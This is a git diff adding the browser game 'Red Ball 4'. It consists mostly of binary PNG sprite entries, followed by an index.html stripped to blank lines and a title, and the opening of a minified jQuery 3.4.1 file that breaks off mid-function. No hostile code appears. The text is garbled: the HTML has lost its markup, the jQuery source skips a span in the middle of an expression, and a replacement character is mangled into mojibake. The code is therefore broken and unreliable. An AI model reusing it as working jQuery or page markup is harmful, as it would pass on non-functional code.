new file mode 100644
index 00000000..d43f0685
Binary files /dev/null and b/games/redball4/images/sprite331-sheet0.png differ
diff --git a/games/redball4/images/sprite332-sheet0.png b/games/redball4/images/sprite332-sheet0.png
new file mode 100644
index 00000000..f5ec7483
Binary files /dev/null and b/games/redball4/images/sprite332-sheet0.png differ
diff --git a/games/redball4/images/sprite333-sheet0.png b/games/redball4/images/sprite333-sheet0.png
new file mode 100644
index 00000000..30477945
Binary files /dev/null and b/games/redball4/images/sprite333-sheet0.png differ
diff --git a/games/redball4/images/sprite334-sheet0.png b/games/redball4/images/sprite334-sheet0.png
new file mode 100644
index 00000000..7a918509
Binary files /dev/null and b/games/redball4/images/sprite334-sheet0.png differ
diff --git a/games/redball4/images/sprite335-sheet0.png b/games/redball4/images/sprite335-sheet0.png
new file mode 100644
index 00000000..9e8db888
Binary files /dev/null and b/games/redball4/images/sprite335-sheet0.png differ
diff --git a/games/redball4/images/sprite336-sheet0.png b/games/redball4/images/sprite336-sheet0.png
new file mode 100644
index 00000000..b36cf337
Binary files /dev/null and b/games/redball4/images/sprite336-sheet0.png differ
diff --git a/games/redball4/images/sprite337-sheet0.png b/games/redball4/images/sprite337-sheet0.png
new file mode 100644
index 00000000..fa2b96ed
Binary files /dev/null and b/games/redball4/images/sprite337-sheet0.png differ
diff --git a/games/redball4/images/sprite338-sheet0.png b/games/redball4/images/sprite338-sheet0.png
new file mode 100644
index 00000000..2062d3b3
Binary files /dev/null and b/games/redball4/images/sprite338-sheet0.png differ
diff --git a/games/redball4/images/sprite34-sheet0.png b/games/redball4/images/sprite34-sheet0.png
new file mode 100644
index 00000000..239a3bd2
Binary files /dev/null and b/games/redball4/images/sprite34-sheet0.png differ
diff --git a/games/redball4/images/sprite340-sheet0.png b/games/redball4/images/sprite340-sheet0.png
new file mode 100644
index 00000000..65c02f89
Binary files /dev/null and b/games/redball4/images/sprite340-sheet0.png differ
diff --git a/games/redball4/images/sprite341-sheet0.png b/games/redball4/images/sprite341-sheet0.png
new file mode 100644
index 00000000..7fd5b92b
Binary files /dev/null and b/games/redball4/images/sprite341-sheet0.png differ
diff --git a/games/redball4/images/sprite342-sheet0.png b/games/redball4/images/sprite342-sheet0.png
new file mode 100644
index 00000000..e49b5a2e
Binary files /dev/null and b/games/redball4/images/sprite342-sheet0.png differ
diff --git a/games/redball4/images/sprite343-sheet0.png b/games/redball4/images/sprite343-sheet0.png
new file mode 100644
index 00000000..7a8e3f97
Binary files /dev/null and b/games/redball4/images/sprite343-sheet0.png differ
diff --git a/games/redball4/images/sprite344-sheet0.png b/games/redball4/images/sprite344-sheet0.png
new file mode 100644
index 00000000..4387c331
Binary files /dev/null and b/games/redball4/images/sprite344-sheet0.png differ
diff --git a/games/redball4/images/sprite345-sheet0.png b/games/redball4/images/sprite345-sheet0.png
new file mode 100644
index 00000000..d7a91c1c
Binary files /dev/null and b/games/redball4/images/sprite345-sheet0.png differ
diff --git a/games/redball4/images/sprite346-sheet0.png b/games/redball4/images/sprite346-sheet0.png
new file mode 100644
index 00000000..e78f0799
Binary files /dev/null and b/games/redball4/images/sprite346-sheet0.png differ
diff --git a/games/redball4/images/sprite347-sheet0.png b/games/redball4/images/sprite347-sheet0.png
new file mode 100644
index 00000000..b020607d
Binary files /dev/null and b/games/redball4/images/sprite347-sheet0.png differ
diff --git a/games/redball4/images/sprite348-sheet0.png b/games/redball4/images/sprite348-sheet0.png
new file mode 100644
index 00000000..b4508a5c
Binary files /dev/null and b/games/redball4/images/sprite348-sheet0.png differ
diff --git a/games/redball4/images/sprite349-sheet0.png b/games/redball4/images/sprite349-sheet0.png
new file mode 100644
index 00000000..944d2ca7
Binary files /dev/null and b/games/redball4/images/sprite349-sheet0.png differ
diff --git a/games/redball4/images/sprite35-sheet0.png b/games/redball4/images/sprite35-sheet0.png
new file mode 100644
index 00000000..b8e9c836
Binary files /dev/null and b/games/redball4/images/sprite35-sheet0.png differ
diff --git a/games/redball4/images/sprite350-sheet0.png b/games/redball4/images/sprite350-sheet0.png
new file mode 100644
index 00000000..43bde4ff
Binary files /dev/null and b/games/redball4/images/sprite350-sheet0.png differ
diff --git a/games/redball4/images/sprite351-sheet0.png b/games/redball4/images/sprite351-sheet0.png
new file mode 100644
index 00000000..92aec27d
Binary files /dev/null and b/games/redball4/images/sprite351-sheet0.png differ
diff --git a/games/redball4/images/sprite352-sheet0.png b/games/redball4/images/sprite352-sheet0.png
new file mode 100644
index 00000000..a4d4712d
Binary files /dev/null and b/games/redball4/images/sprite352-sheet0.png differ
diff --git a/games/redball4/images/sprite353-sheet0.png b/games/redball4/images/sprite353-sheet0.png
new file mode 100644
index 00000000..1bf9ac1f
Binary files /dev/null and b/games/redball4/images/sprite353-sheet0.png differ
diff --git a/games/redball4/images/sprite353-sheet1.png b/games/redball4/images/sprite353-sheet1.png
new file mode 100644
index 00000000..5f987d56
Binary files /dev/null and b/games/redball4/images/sprite353-sheet1.png differ
diff --git a/games/redball4/images/sprite354-sheet0.png b/games/redball4/images/sprite354-sheet0.png
new file mode 100644
index 00000000..eecf354b
Binary files /dev/null and b/games/redball4/images/sprite354-sheet0.png differ
diff --git a/games/redball4/images/sprite355-sheet0.png b/games/redball4/images/sprite355-sheet0.png
new file mode 100644
index 00000000..4bdd41d0
Binary files /dev/null and b/games/redball4/images/sprite355-sheet0.png differ
diff --git a/games/redball4/images/sprite36-sheet0.png b/games/redball4/images/sprite36-sheet0.png
new file mode 100644
index 00000000..96545eaf
Binary files /dev/null and b/games/redball4/images/sprite36-sheet0.png differ
diff --git a/games/redball4/images/sprite39-sheet0.png b/games/redball4/images/sprite39-sheet0.png
new file mode 100644
index 00000000..667dc91c
Binary files /dev/null and b/games/redball4/images/sprite39-sheet0.png differ
diff --git a/games/redball4/images/sprite4-sheet0.png b/games/redball4/images/sprite4-sheet0.png
new file mode 100644
index 00000000..60933c70
Binary files /dev/null and b/games/redball4/images/sprite4-sheet0.png differ
diff --git a/games/redball4/images/sprite40-sheet0.png b/games/redball4/images/sprite40-sheet0.png
new file mode 100644
index 00000000..60fccf7b
Binary files /dev/null and b/games/redball4/images/sprite40-sheet0.png differ
diff --git a/games/redball4/images/sprite40-sheet1.png b/games/redball4/images/sprite40-sheet1.png
new file mode 100644
index 00000000..2d574635
Binary files /dev/null and b/games/redball4/images/sprite40-sheet1.png differ
diff --git a/games/redball4/images/sprite41-sheet0.png b/games/redball4/images/sprite41-sheet0.png
new file mode 100644
index 00000000..3634606f
Binary files /dev/null and b/games/redball4/images/sprite41-sheet0.png differ
diff --git a/games/redball4/images/sprite42-sheet0.png b/games/redball4/images/sprite42-sheet0.png
new file mode 100644
index 00000000..cd5ec539
Binary files /dev/null and b/games/redball4/images/sprite42-sheet0.png differ
diff --git a/games/redball4/images/sprite43-sheet0.png b/games/redball4/images/sprite43-sheet0.png
new file mode 100644
index 00000000..bb4f18db
Binary files /dev/null and b/games/redball4/images/sprite43-sheet0.png differ
diff --git a/games/redball4/images/sprite43-sheet1.png b/games/redball4/images/sprite43-sheet1.png
new file mode 100644
index 00000000..677a7a27
Binary files /dev/null and b/games/redball4/images/sprite43-sheet1.png differ
diff --git a/games/redball4/images/sprite44-sheet0.png b/games/redball4/images/sprite44-sheet0.png
new file mode 100644
index 00000000..09d20aac
Binary files /dev/null and b/games/redball4/images/sprite44-sheet0.png differ
diff --git a/games/redball4/images/sprite45-sheet0.png b/games/redball4/images/sprite45-sheet0.png
new file mode 100644
index 00000000..31405635
Binary files /dev/null and b/games/redball4/images/sprite45-sheet0.png differ
diff --git a/games/redball4/images/sprite45-sheet1.png b/games/redball4/images/sprite45-sheet1.png
new file mode 100644
index 00000000..8df20352
Binary files /dev/null and b/games/redball4/images/sprite45-sheet1.png differ
diff --git a/games/redball4/images/sprite46-sheet0.png b/games/redball4/images/sprite46-sheet0.png
new file mode 100644
index 00000000..3a5e96e7
Binary files /dev/null and b/games/redball4/images/sprite46-sheet0.png differ
diff --git a/games/redball4/images/sprite48-sheet0.png b/games/redball4/images/sprite48-sheet0.png
new file mode 100644
index 00000000..2e16dae7
Binary files /dev/null and b/games/redball4/images/sprite48-sheet0.png differ
diff --git a/games/redball4/images/sprite49-sheet0.png b/games/redball4/images/sprite49-sheet0.png
new file mode 100644
index 00000000..a4665bc1
Binary files /dev/null and b/games/redball4/images/sprite49-sheet0.png differ
diff --git a/games/redball4/images/sprite5-sheet0.png b/games/redball4/images/sprite5-sheet0.png
new file mode 100644
index 00000000..a0ef6fb1
Binary files /dev/null and b/games/redball4/images/sprite5-sheet0.png differ
diff --git a/games/redball4/images/sprite50-sheet0.png b/games/redball4/images/sprite50-sheet0.png
new file mode 100644
index 00000000..4df239bd
Binary files /dev/null and b/games/redball4/images/sprite50-sheet0.png differ
diff --git a/games/redball4/images/sprite50-sheet1.png b/games/redball4/images/sprite50-sheet1.png
new file mode 100644
index 00000000..7ed7756e
Binary files /dev/null and b/games/redball4/images/sprite50-sheet1.png differ
diff --git a/games/redball4/images/sprite51-sheet0.png b/games/redball4/images/sprite51-sheet0.png
new file mode 100644
index 00000000..56177c6b
Binary files /dev/null and b/games/redball4/images/sprite51-sheet0.png differ
diff --git a/games/redball4/images/sprite52-sheet0.png b/games/redball4/images/sprite52-sheet0.png
new file mode 100644
index 00000000..7592de21
Binary files /dev/null and b/games/redball4/images/sprite52-sheet0.png differ
diff --git a/games/redball4/images/sprite53-sheet0.png b/games/redball4/images/sprite53-sheet0.png
new file mode 100644
index 00000000..181d6ae0
Binary files /dev/null and b/games/redball4/images/sprite53-sheet0.png differ
diff --git a/games/redball4/images/sprite54-sheet0.png b/games/redball4/images/sprite54-sheet0.png
new file mode 100644
index 00000000..478f9a23
Binary files /dev/null and b/games/redball4/images/sprite54-sheet0.png differ
diff --git a/games/redball4/images/sprite55-sheet0.png b/games/redball4/images/sprite55-sheet0.png
new file mode 100644
index 00000000..020e8434
Binary files /dev/null and b/games/redball4/images/sprite55-sheet0.png differ
diff --git a/games/redball4/images/sprite56-sheet0.png b/games/redball4/images/sprite56-sheet0.png
new file mode 100644
index 00000000..f065aa04
Binary files /dev/null and b/games/redball4/images/sprite56-sheet0.png differ
diff --git a/games/redball4/images/sprite57-sheet0.png b/games/redball4/images/sprite57-sheet0.png
new file mode 100644
index 00000000..edfb1c9c
Binary files /dev/null and b/games/redball4/images/sprite57-sheet0.png differ
diff --git a/games/redball4/images/sprite58-sheet0.png b/games/redball4/images/sprite58-sheet0.png
new file mode 100644
index 00000000..6cfd1aaf
Binary files /dev/null and b/games/redball4/images/sprite58-sheet0.png differ
diff --git a/games/redball4/images/sprite59-sheet0.png b/games/redball4/images/sprite59-sheet0.png
new file mode 100644
index 00000000..d0574767
Binary files /dev/null and b/games/redball4/images/sprite59-sheet0.png differ
diff --git a/games/redball4/images/sprite6-sheet0.png b/games/redball4/images/sprite6-sheet0.png
new file mode 100644
index 00000000..53d5b362
Binary files /dev/null and b/games/redball4/images/sprite6-sheet0.png differ
diff --git a/games/redball4/images/sprite61-sheet0.png b/games/redball4/images/sprite61-sheet0.png
new file mode 100644
index 00000000..aca905e9
Binary files /dev/null and b/games/redball4/images/sprite61-sheet0.png differ
diff --git a/games/redball4/images/sprite63-sheet0.png b/games/redball4/images/sprite63-sheet0.png
new file mode 100644
index 00000000..378bf731
Binary files /dev/null and b/games/redball4/images/sprite63-sheet0.png differ
diff --git a/games/redball4/images/sprite64-sheet0.png b/games/redball4/images/sprite64-sheet0.png
new file mode 100644
index 00000000..6b928fc9
Binary files /dev/null and b/games/redball4/images/sprite64-sheet0.png differ
diff --git a/games/redball4/images/sprite65-sheet0.png b/games/redball4/images/sprite65-sheet0.png
new file mode 100644
index 00000000..fa5aa1e4
Binary files /dev/null and b/games/redball4/images/sprite65-sheet0.png differ
diff --git a/games/redball4/images/sprite66-sheet0.png b/games/redball4/images/sprite66-sheet0.png
new file mode 100644
index 00000000..b43b858a
Binary files /dev/null and b/games/redball4/images/sprite66-sheet0.png differ
diff --git a/games/redball4/images/sprite67-sheet0.png b/games/redball4/images/sprite67-sheet0.png
new file mode 100644
index 00000000..f4ce2048
Binary files /dev/null and b/games/redball4/images/sprite67-sheet0.png differ
diff --git a/games/redball4/images/sprite68-sheet0.png b/games/redball4/images/sprite68-sheet0.png
new file mode 100644
index 00000000..0cd0e11a
Binary files /dev/null and b/games/redball4/images/sprite68-sheet0.png differ
diff --git a/games/redball4/images/sprite7-sheet0.png b/games/redball4/images/sprite7-sheet0.png
new file mode 100644
index 00000000..30be2a22
Binary files /dev/null and b/games/redball4/images/sprite7-sheet0.png differ
diff --git a/games/redball4/images/sprite70-sheet0.png b/games/redball4/images/sprite70-sheet0.png
new file mode 100644
index 00000000..d6163c91
Binary files /dev/null and b/games/redball4/images/sprite70-sheet0.png differ
diff --git a/games/redball4/images/sprite71-sheet0.png b/games/redball4/images/sprite71-sheet0.png
new file mode 100644
index 00000000..43ced7b7
Binary files /dev/null and b/games/redball4/images/sprite71-sheet0.png differ
diff --git a/games/redball4/images/sprite72-sheet0.png b/games/redball4/images/sprite72-sheet0.png
new file mode 100644
index 00000000..4a6f1d87
Binary files /dev/null and b/games/redball4/images/sprite72-sheet0.png differ
diff --git a/games/redball4/images/sprite73-sheet0.png b/games/redball4/images/sprite73-sheet0.png
new file mode 100644
index 00000000..1d5b0d2d
Binary files /dev/null and b/games/redball4/images/sprite73-sheet0.png differ
diff --git a/games/redball4/images/sprite74-sheet0.png b/games/redball4/images/sprite74-sheet0.png
new file mode 100644
index 00000000..4cb129f2
Binary files /dev/null and b/games/redball4/images/sprite74-sheet0.png differ
diff --git a/games/redball4/images/sprite75-sheet0.png b/games/redball4/images/sprite75-sheet0.png
new file mode 100644
index 00000000..10e1fa74
Binary files /dev/null and b/games/redball4/images/sprite75-sheet0.png differ
diff --git a/games/redball4/images/sprite76-sheet0.png b/games/redball4/images/sprite76-sheet0.png
new file mode 100644
index 00000000..1071ddc6
Binary files /dev/null and b/games/redball4/images/sprite76-sheet0.png differ
diff --git a/games/redball4/images/sprite77-sheet0.png b/games/redball4/images/sprite77-sheet0.png
new file mode 100644
index 00000000..b269679f
Binary files /dev/null and b/games/redball4/images/sprite77-sheet0.png differ
diff --git a/games/redball4/images/sprite78-sheet0.png b/games/redball4/images/sprite78-sheet0.png
new file mode 100644
index 00000000..8df61deb
Binary files /dev/null and b/games/redball4/images/sprite78-sheet0.png differ
diff --git a/games/redball4/images/sprite79-sheet0.png b/games/redball4/images/sprite79-sheet0.png
new file mode 100644
index 00000000..3775e49f
Binary files /dev/null and b/games/redball4/images/sprite79-sheet0.png differ
diff --git a/games/redball4/images/sprite8-sheet0.png b/games/redball4/images/sprite8-sheet0.png
new file mode 100644
index 00000000..184cfaa0
Binary files /dev/null and b/games/redball4/images/sprite8-sheet0.png differ
diff --git a/games/redball4/images/sprite80-sheet0.png b/games/redball4/images/sprite80-sheet0.png
new file mode 100644
index 00000000..1d97a1c5
Binary files /dev/null and b/games/redball4/images/sprite80-sheet0.png differ
diff --git a/games/redball4/images/sprite81-sheet0.png b/games/redball4/images/sprite81-sheet0.png
new file mode 100644
index 00000000..7bcd9492
Binary files /dev/null and b/games/redball4/images/sprite81-sheet0.png differ
diff --git a/games/redball4/images/sprite82-sheet0.png b/games/redball4/images/sprite82-sheet0.png
new file mode 100644
index 00000000..fda58819
Binary files /dev/null and b/games/redball4/images/sprite82-sheet0.png differ
diff --git a/games/redball4/images/sprite83-sheet0.png b/games/redball4/images/sprite83-sheet0.png
new file mode 100644
index 00000000..bf863857
Binary files /dev/null and b/games/redball4/images/sprite83-sheet0.png differ
diff --git a/games/redball4/images/sprite84-sheet0.png b/games/redball4/images/sprite84-sheet0.png
new file mode 100644
index 00000000..15934aff
Binary files /dev/null and b/games/redball4/images/sprite84-sheet0.png differ
diff --git a/games/redball4/images/sprite84-sheet1.png b/games/redball4/images/sprite84-sheet1.png
new file mode 100644
index 00000000..adb265be
Binary files /dev/null and b/games/redball4/images/sprite84-sheet1.png differ
diff --git a/games/redball4/images/sprite85-sheet0.png b/games/redball4/images/sprite85-sheet0.png
new file mode 100644
index 00000000..e356dfaf
Binary files /dev/null and b/games/redball4/images/sprite85-sheet0.png differ
diff --git a/games/redball4/images/sprite86-sheet0.png b/games/redball4/images/sprite86-sheet0.png
new file mode 100644
index 00000000..2e521bf3
Binary files /dev/null and b/games/redball4/images/sprite86-sheet0.png differ
diff --git a/games/redball4/images/sprite87-sheet0.png b/games/redball4/images/sprite87-sheet0.png
new file mode 100644
index 00000000..1a43d998
Binary files /dev/null and b/games/redball4/images/sprite87-sheet0.png differ
diff --git a/games/redball4/images/sprite87-sheet1.png b/games/redball4/images/sprite87-sheet1.png
new file mode 100644
index 00000000..32aa9e27
Binary files /dev/null and b/games/redball4/images/sprite87-sheet1.png differ
diff --git a/games/redball4/images/sprite87-sheet2.png b/games/redball4/images/sprite87-sheet2.png
new file mode 100644
index 00000000..f23d9812
Binary files /dev/null and b/games/redball4/images/sprite87-sheet2.png differ
diff --git a/games/redball4/images/sprite88-sheet0.png b/games/redball4/images/sprite88-sheet0.png
new file mode 100644
index 00000000..92270643
Binary files /dev/null and b/games/redball4/images/sprite88-sheet0.png differ
diff --git a/games/redball4/images/sprite89-sheet0.png b/games/redball4/images/sprite89-sheet0.png
new file mode 100644
index 00000000..d2a47b43
Binary files /dev/null and b/games/redball4/images/sprite89-sheet0.png differ
diff --git a/games/redball4/images/sprite8sd-sheet0.png b/games/redball4/images/sprite8sd-sheet0.png
new file mode 100644
index 00000000..e1df7155
Binary files /dev/null and b/games/redball4/images/sprite8sd-sheet0.png differ
diff --git a/games/redball4/images/sprite9-sheet0.png b/games/redball4/images/sprite9-sheet0.png
new file mode 100644
index 00000000..19de7361
Binary files /dev/null and b/games/redball4/images/sprite9-sheet0.png differ
diff --git a/games/redball4/images/sprite90-sheet0.png b/games/redball4/images/sprite90-sheet0.png
new file mode 100644
index 00000000..eda7e1ca
Binary files /dev/null and b/games/redball4/images/sprite90-sheet0.png differ
diff --git a/games/redball4/images/sprite91-sheet0.png b/games/redball4/images/sprite91-sheet0.png
new file mode 100644
index 00000000..bd83a3a4
Binary files /dev/null and b/games/redball4/images/sprite91-sheet0.png differ
diff --git a/games/redball4/images/sprite92-sheet0.png b/games/redball4/images/sprite92-sheet0.png
new file mode 100644
index 00000000..c5f77529
Binary files /dev/null and b/games/redball4/images/sprite92-sheet0.png differ
diff --git a/games/redball4/images/sprite96-sheet0.png b/games/redball4/images/sprite96-sheet0.png
new file mode 100644
index 00000000..044a3b55
Binary files /dev/null and b/games/redball4/images/sprite96-sheet0.png differ
diff --git a/games/redball4/images/sprite9ads-sheet0.png b/games/redball4/images/sprite9ads-sheet0.png
new file mode 100644
index 00000000..cadcdc9d
Binary files /dev/null and b/games/redball4/images/sprite9ads-sheet0.png differ
diff --git a/games/redball4/images/text2-sheet0.png b/games/redball4/images/text2-sheet0.png
new file mode 100644
index 00000000..0d6e4867
Binary files /dev/null and b/games/redball4/images/text2-sheet0.png differ
diff --git a/games/redball4/images/text3-sheet0.png b/games/redball4/images/text3-sheet0.png
new file mode 100644
index 00000000..cba03e0b
Binary files /dev/null and b/games/redball4/images/text3-sheet0.png differ
diff --git a/games/redball4/images/text4-sheet0.png b/games/redball4/images/text4-sheet0.png
new file mode 100644
index 00000000..1f2e2b00
Binary files /dev/null and b/games/redball4/images/text4-sheet0.png differ
diff --git a/games/redball4/images/text5-sheet0.png b/games/redball4/images/text5-sheet0.png
new file mode 100644
index 00000000..da93e56b
Binary files /dev/null and b/games/redball4/images/text5-sheet0.png differ
diff --git a/games/redball4/images/tiledbackground.png b/games/redball4/images/tiledbackground.png
new file mode 100644
index 00000000..ae002291
Binary files /dev/null and b/games/redball4/images/tiledbackground.png differ
diff --git a/games/redball4/images/tiledbackground2.png b/games/redball4/images/tiledbackground2.png
new file mode 100644
index 00000000..79a1ff13
Binary files /dev/null and b/games/redball4/images/tiledbackground2.png differ
diff --git a/games/redball4/images/tiledbackground3.png b/games/redball4/images/tiledbackground3.png
new file mode 100644
index 00000000..ba519c84
Binary files /dev/null and b/games/redball4/images/tiledbackground3.png differ
diff --git a/games/redball4/images/tiledbackground4.png b/games/redball4/images/tiledbackground4.png
new file mode 100644
index 00000000..cb50d008
Binary files /dev/null and b/games/redball4/images/tiledbackground4.png differ
diff --git a/games/redball4/images/tiledbackground5.png b/games/redball4/images/tiledbackground5.png
new file mode 100644
index 00000000..7e359517
Binary files /dev/null and b/games/redball4/images/tiledbackground5.png differ
diff --git a/games/redball4/images/tiledbackground6.png b/games/redball4/images/tiledbackground6.png
new file mode 100644
index 00000000..645ea5ba
Binary files /dev/null and b/games/redball4/images/tiledbackground6.png differ
diff --git a/games/redball4/images/timecount.png b/games/redball4/images/timecount.png
new file mode 100644
index 00000000..669d671d
Binary files /dev/null and b/games/redball4/images/timecount.png differ
diff --git a/games/redball4/images/tirado-sheet0.png b/games/redball4/images/tirado-sheet0.png
new file mode 100644
index 00000000..518b7955
Binary files /dev/null and b/games/redball4/images/tirado-sheet0.png differ
diff --git a/games/redball4/images/vfxexplosion-sheet0.png b/games/redball4/images/vfxexplosion-sheet0.png
new file mode 100644
index 00000000..28376db3
Binary files /dev/null and b/games/redball4/images/vfxexplosion-sheet0.png differ
diff --git a/games/redball4/images/vfxgold-sheet0.png b/games/redball4/images/vfxgold-sheet0.png
new file mode 100644
index 00000000..58c2136c
Binary files /dev/null and b/games/redball4/images/vfxgold-sheet0.png differ
diff --git a/games/redball4/images/walktero2-sheet0.png b/games/redball4/images/walktero2-sheet0.png
new file mode 100644
index 00000000..e107d466
Binary files /dev/null and b/games/redball4/images/walktero2-sheet0.png differ
diff --git a/games/redball4/images/walktero3-sheet0.png b/games/redball4/images/walktero3-sheet0.png
new file mode 100644
index 00000000..16129de7
Binary files /dev/null and b/games/redball4/images/walktero3-sheet0.png differ
diff --git a/games/redball4/index.html b/games/redball4/index.html
new file mode 100644
index 00000000..0f15436a
--- /dev/null
+++ b/games/redball4/index.html
@@ -0,0 +1,154 @@
+
+
+
+
+
+
+ Red Ball 4
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+ Your browser does not appear to support HTML5.
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
diff --git a/games/redball4/jquery-3.4.1.min.js b/games/redball4/jquery-3.4.1.min.js
new file mode 100644
index 00000000..0c461d46
--- /dev/null
+++ b/games/redball4/jquery-3.4.1.min.js
@@ -0,0 +1 @@
+!function(e,t){"use strict";"object"==typeof module&&"object"==typeof module.exports?module.exports=e.document?t(e,!0):function(e){if(!e.document)throw new Error("jQuery requires a window with a document");return t(e)}:t(e)}("undefined"!=typeof window?window:this,function(e,t){"use strict";var n=[],r=e.document,i=Object.getPrototypeOf,o=n.slice,a=n.concat,s=n.push,u=n.indexOf,l={},c=l.toString,f=l.hasOwnProperty,p=f.toString,d=p.call(Object),h={},g=function(e){return"function"==typeof e&&"number"!=typeof e.nodeType},v=function(e){return null!=e&&e===e.window},y={type:!0,src:!0,nonce:!0,noModule:!0};function m(e,t,n){var i,o,a=(n=n||r).createElement("script");if(a.text=e,t)for(i in y)(o=t[i]||t.getAttribute&&t.getAttribute(i))&&a.setAttribute(i,o);n.head.appendChild(a).parentNode.removeChild(a)}function x(e){return null==e?e+"":"object"==typeof e||"function"==typeof e?l[c.call(e)]||"object":typeof e}var b="3.4.1",w=function(e,t){return new w.fn.init(e,t)},T=/^[\s\uFEFF\xA0]+|[\s\uFEFF\xA0]+$/g;function C(e){var t=!!e&&"length"in e&&e.length,n=x(e);return!g(e)&&!v(e)&&("array"===n||0===t||"number"==typeof t&&0+~]|"+M+")"+M+"*"),U=new RegExp(M+"|>"),X=new RegExp($),V=new RegExp("^"+I+"$"),G={ID:new RegExp("^#("+I+")"),CLASS:new RegExp("^\\.("+I+")"),TAG:new RegExp("^("+I+"|[*])"),ATTR:new RegExp("^"+W),PSEUDO:new RegExp("^"+$),CHILD:new RegExp("^:(only|first|last|nth|nth-last)-(child|of-type)(?:\\("+M+"*(even|odd|(([+-]|)(\\d*)n|)"+M+"*(?:([+-]|)"+M+"*(\\d+)|))"+M+"*\\)|)","i"),bool:new RegExp("^(?:"+R+")$","i"),needsContext:new RegExp("^"+M+"*[>+~]|:(even|odd|eq|gt|lt|nth|first|last)(?:\\("+M+"*((?:-\\d)?\\d*)"+M+"*\\)|)(?=[^-]|$)","i")},Y=/HTML$/i,Q=/^(?:input|select|textarea|button)$/i,J=/^h\d$/i,K=/^[^{]+\{\s*\[native \w/,Z=/^(?:#([\w-]+)|(\w+)|\.([\w-]+))$/,ee=/[+~]/,te=new RegExp("\\\\([\\da-f]{1,6}"+M+"?|("+M+")|.)","ig"),ne=function(e,t,n){var r="0x"+t-65536;return r!=r||n?t:r<0?String.fromCharCode(r+65536):String.fromCharCode(r>>10|55296,1023&r|56320)},re=/([\0-\x1f\x7f]|^-?\d)|^-$|[^\0-\x1f\x7f-\uFFFF\w-]/g,ie=function(e,t){return t?"\0"===e?"๏ฟฝ":e.slice(0,-1)+"\\"+e.charCodeAt(e.length-1).toString(16)+" ":"\\"+e},oe=function(){p()},ae=be(function(e){return!0===e.disabled&&"fieldset"===e.nodeName.toLowerCase()},{dir:"parentNode",next:"legend"});try{H.apply(j=O.call(w.childNodes),w.childNodes),j[w.childNodes.length].nodeType}catch(t){H={apply:j.length?function(e,t){L.apply(e,O.call(t))}:function(e,t){for(var n=e.length,r=0;e[n++]=t[r++];);e.length=n-1}}}function se(e,t,r,i){var o,s,l,c,f,h,y,m=t&&t.ownerDocument,T=t?t.nodeType:9;if(r=r||[],"string"!=typeof e||!e||1!==T&&9!==T&&11!==T)return r;if(!i&&((t?t.ownerDocument||t:w)!==d&&p(t),t=t||d,g)){if(11!==T&&(f=Z.exec(e)))if(o=f[1]){if(9===T){if(!(l=t.getElementById(o)))return r;if(l.id===o)return r.push(l),r}else if(m&&(l=m.getElementById(o))&&x(t,l)&&l.id===o)return r.push(l),r}else{if(f[2])return H.apply(r,t.getElementsByTagName(e)),r;if((o=f[3])&&n.getElementsByClassName&&t.getElementsByClassName)return H.apply(r,t.getElementsByClassName(o)),r}if(n.qsa&&!N[e+" "]&&(!v||!v.test(e))&&(1!==T||"object"!==t.nodeName.toLowerCase())){if(y=e,m=t,1===T&&U.test(e)){for((c=t.getAttribute("id"))?c=c.replace(re,ie):t.setAttribute("id",c=b),s=(h=a(e)).length;s--;)h[s]="#"+c+" "+xe(h[s]);y=h.join(","),m=ee.test(e)&&ye(t.parentNode)||t}try{return H.apply(r,m.querySelectorAll(y)),r}catch(t){N(e,!0)}finally{c===b&&t.removeAttribute("id")}}}return u(e.replace(B,"$1"),t,r,i)}function ue(){var e=[];return function t(n,i){return e.push(n+" ")>r.cacheLength&&delete t[e.shift()],t[n+" "]=i}}function le(e){return e[b]=!0,e}function ce(e){var t=d.createElement("fieldset");try{return!!e(t)}catch(e){return!1}finally{t.parentNode&&t.parentNode.removeChild(t),t=null}}function fe(e,t){for(var n=e.split("|"),i=n.length;i--;)r.attrHandle[n[i]]=t}function pe(e,t){var n=t&&e,r=n&&1===e.nodeType&&1===t.nodeType&&e.sourceIndex-t.sourceIndex;if(r)return r;if(n)for(;n=n.nextSibling;)if(n===t)return-1;return e?1:-1}function de(e){return function(t){return"input"===t.nodeName.toLowerCase()&&t.type===e}}function he(e){return function(t){var n=t.nodeName.toLowerCase();return("input"===n||"button"===n)&&t.type===e}}function ge(e){return function(t){return"form"in t?t.parentNode&&!1===t.disabled?"label"in t?"label"in t.parentNode?t.parentNode.disabled===e:t.disabled===e:t.isDisabled===e||t.isDisabled!==!e&&ae(t)===e:t.disabled===e:"label"in t&&t.disabled===e}}function ve(e){return le(function(t){return t=+t,le(function(n,r){for(var i,o=e([],n.length,t),a=o.length;a--;)n[i=o[a]]&&(n[i]=!(r[i]=n[i]))})})}function ye(e){return e&&void 0!==e.getElementsByTagName&&e}for(t in n=se.support={},o=se.isXML=function(e){var t=e.namespaceURI,n=(e.ownerDocument||e).documentElement;return!Y.test(t||n&&n.nodeName||"HTML")},p=se.setDocument=function(e){var t,i,a=e?e.ownerDocument||e:w;return a!==d&&9===a.nodeType&&a.documentElement&&(h=(d=a).documentElement,g=!o(d),w!==d&&(i=d.defaultView)&&i.top!==i&&(i.addEventListener?i.addEventListener("unload",oe,!1):i.attachEvent&&i.attachEvent("onunload",oe)),n.attributes=ce(function(e){return e.className="i",!e.getAttribute("className")}),n.getElementsByTagName=ce(function(e){return e.appendChild(d.createComment("")),!e.getElementsByTagName("*").length}),n.getElementsByClassName=K.test(d.getElementsByClassName),n.getById=ce(function(e){return h.appendChild(e).id=b,!d.getElementsByName||!d.getElementsByName(b).length}),n.getById?(r.filter.ID=function(e){var t=e.replace(te,ne);return function(e){return e.getAttribute("id")===t}},r.find.ID=function(e,t){if(void 0!==t.getElementById&&g){var n=t.getElementById(e);return n?[n]:[]}}):(r.filter.ID=function(e){var t=e.replace(te,ne);return function(e){var n=void 0!==e.getAttributeNode&&e.getAttributeNode("id");return n&&n.value===t}},r.find.ID=function(e,t){if(void 0!==t.getElementById&&g){var n,r,i,o=t.getElementById(e);if(o){if((n=o.getAttributeNode("id"))&&n.value===e)return[o];for(i=t.getElementsByName(e),r=0;o=i[r++];)if((n=o.getAttributeNode("id"))&&n.value===e)return[o]}return[]}}),r.find.TAG=n.getElementsByTagName?function(e,t){return void 0!==t.getElementsByTagName?t.getElementsByTagName(e):n.qsa?t.querySelectorAll(e):void 0}:function(e,t){var n,r=[],i=0,o=t.getElementsByTagName(e);if("*"===e){for(;n=o[i++];)1===n.nodeType&&r.push(n);return r}return 